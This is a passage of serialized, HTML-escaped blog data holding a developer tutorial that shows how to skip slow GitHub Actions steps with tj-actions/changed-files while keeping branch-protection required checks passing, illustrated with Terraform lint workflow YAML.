#96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'false'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e    echo \"No terraform files changed\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich will output:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e✅ \"No terraform files changed\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eRight next to the skipped job which is exactly what we wanted to see! So the end\nresult would look something like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform-lint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCheck if real files changed\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echanged-files-yaml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etj-actions/changed-files@v40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efiles_yaml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            src:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '!.gitignore'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'true'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          earthly \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            +ci-terraform-lint \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              --TERRAFORM_VERSION=${{ env.RTX_TERRAFORM_VERSION }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'false'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          echo \"No terraform files changed\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eConclusion\u003c/h1\u003e\n\u003cp\u003eHopefully with this you can start speeding up your github actions and making the\ndeveloper experience enjoyable!\u003c/p\u003e","category":"Development","date":"2023-10-28T19:00:00-05:00","tags":["git","github"],"title":"Speed up github actions with conditional jobs, even with required checks"}]},"github":{"count":1,"posts":[{"id":["2023","github_skip_required_checks"],"path":"2023/github_skip_required_checks","contentHtml":"\u003cp\u003eHaving every github action run on every pull request will end up slowing you\ndown and sometimes even discourage you from making changes.  For example, if you\nsee an error in the \u003ccode\u003eREADME.md\u003c/code\u003e but you know you'll have to wait for the entire\ntest suite to run you may choose not to push the change.\u003c/p\u003e\n\u003ch1\u003ePath Filtering\u003c/h1\u003e\n\u003cp\u003eTo address this problem, Github has a feature called \u003ca href=\"https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore\"\u003epath filtering\u003c/a\u003e\nwhich works really well!  You can include and exclude paths with a simple syntax:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epaths\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'!.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich will run on any changes except for \u003ccode\u003eREADME.md\u003c/code\u003e and \u003ccode\u003e.gitignore\u003c/code\u003e.  There is\neven a simpler format to this by using \u003ccode\u003epaths-ignore\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epaths-ignore\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAlthough the path filtering feature of github works, I do not recommend using\nit because it has some critical issues that I'll talk about below!\u003c/p\u003e\n\u003ch1\u003eBranch Protection / Required Checks\u003c/h1\u003e\n\u003cp\u003ePath Filtering has one major flaw which is that it skips the run of the job\ncompletely which means if you are using \u003ca href=\"https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches\"\u003ebranch protection\u003c/a\u003e\nyour PR will be stuck in \u003ccode\u003epending\u003c/code\u003e state.\u003c/p\u003e\n\u003cp\u003eTo resolve this we will have to run the job, but skip the actions inside it that\nare slow conditionally. There are a few opensource actions out there that make\nthis easy but the one I recommend is:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/tj-actions/changed-files\"\u003ehttps://github.com/tj-actions/changed-files\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIt creates a lot of useful outputs you can use in your conditional out of the box\nwhich makes your action easy to write.\u003c/p\u003e\n\u003ch1\u003eSkipping a required check\u003c/h1\u003e\n\u003cp\u003eSo using \u003ccode\u003etj-actions/changed-files\u003c/code\u003e to skip a required check, it will look very\nsimilar to the path filtering from github.  You first define what files you care\nabout:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform-lint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCheck if files changed\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echanged-files-yaml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etj-actions/changed-files@v40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efiles_yaml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            src:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '!.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe \u003ccode\u003esrc\u003c/code\u003e is just a key selection I made here.  You can have many groups of\nfiles like \u003ccode\u003etests\u003c/code\u003e, \u003ccode\u003edocs\u003c/code\u003e, etc. and conditionally do things if each of them\nchanged.\u003c/p\u003e\n\u003cp\u003eSo from our example, this step will generate output we can use \u003ccode\u003esteps.changed-files-yaml.outputs.src_any_changed\u003c/code\u003e\nthat is either \u003ccode\u003etrue\u003c/code\u003e or \u003ccode\u003efalse.\u003c/code\u003e. To use this we can us the \u003ccode\u003eif\u003c/code\u003e conditional\nblock on our jobs.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'true'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        earthly \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e        +ci-terraform-lint \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            --TERRAFORM_VERSION=${{ env.RTX_TERRAFORM_VERSION }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will then skip linting if we didn't change any terraform and the job will\nbe marked successful!\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/github_skip_required_checks/skipped_checks.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eThis can be confusing sometimes and the people you work with (or future you!)\nmay wonder why these critical checks are being skipped.   I like to include\na message with the decision that was made so its obvious that we wanted to skip\nthem:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'false'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e    echo \"No terraform files changed\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich will output:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e✅ \"No terraform files changed\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eRight next to the skipped job which is exactly what we wanted to see! So the end\nresult would look something like this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform-lint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCheck if real files changed\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eid\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003echanged-files-yaml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etj-actions/changed-files@v40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efiles_yaml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            src:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              - '!.gitignore'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'true'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003erun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          earthly \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            +ci-terraform-lint \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e              --TERRAFORM_VERSION=${{ env.RTX_TERRAFORM_VERSION }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: 